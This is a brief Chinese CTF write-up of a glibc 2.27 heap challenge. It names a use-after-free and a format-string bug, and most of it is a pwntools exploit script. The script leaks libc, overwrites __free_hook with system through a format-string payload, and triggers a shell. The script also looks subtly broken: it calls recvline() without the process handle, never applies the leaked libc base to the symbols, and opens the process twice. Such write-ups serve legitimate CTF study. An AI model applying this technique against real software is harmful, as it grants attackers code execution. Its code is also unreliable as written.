libc 2.27
record
结构还是比较清晰的。
申请了一个大小为0x110的chunk。前0x10是mark,后0x100是msg。
在最后八个字节那里,维护了一个单链表。
scrape
也就是删除,但是在删除链表尾的时候有uaf。
browser
就是输出,上面花里胡哨的也没啥用,然后有个格式化字符串漏洞。
rewrite
可以重新写一下。
backdoor
也是在做一个输出。
漏洞有俩,一个格式化字符串,一个uaf。
uaf利用半天利用不出来,格式化字符串倒是简单。
exp
from pwn import*
context.log_level = "debug"
r = process("./2")
libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.27-3ubuntu1.2_amd64/libc.so.6")
def record(msg, mark):
r.sendlineafter('>', '1')
r.sendlineafter('>', msg)
r.sendafter('>', mark.ljust(16, '\x00'))
def scrape(mark):
r.sendlineafter('>', '2')
r.sendafter('>', mark.ljust(16, '\x00'))
def browser(mark):
r.sendlineafter('>', '3')
r.sendafter('>', mark.ljust(16, '\x00'))
def rewrite(msg, mark):
r.sendlineafter('>', '4')
r.sendafter('>', mark.ljust(16, '\x00'))
r.sendlineafter('>', msg)
r = process('./2')
record('%50$p', 'sh;')
browser('sh;')
libc_address = int(recvline().strip(), 16)-0x21fb7
free_hook = libc.symbols['__free_hook']
system = libc.symbols['system']
print "libc_base = " + hex(libc_address)
writes = {free_hook: system}
payload = fmtstr_payload(10, writes)
rewrite(payload, 'sh;')
browser('sh;')
scrape('sh;')
r.interactive()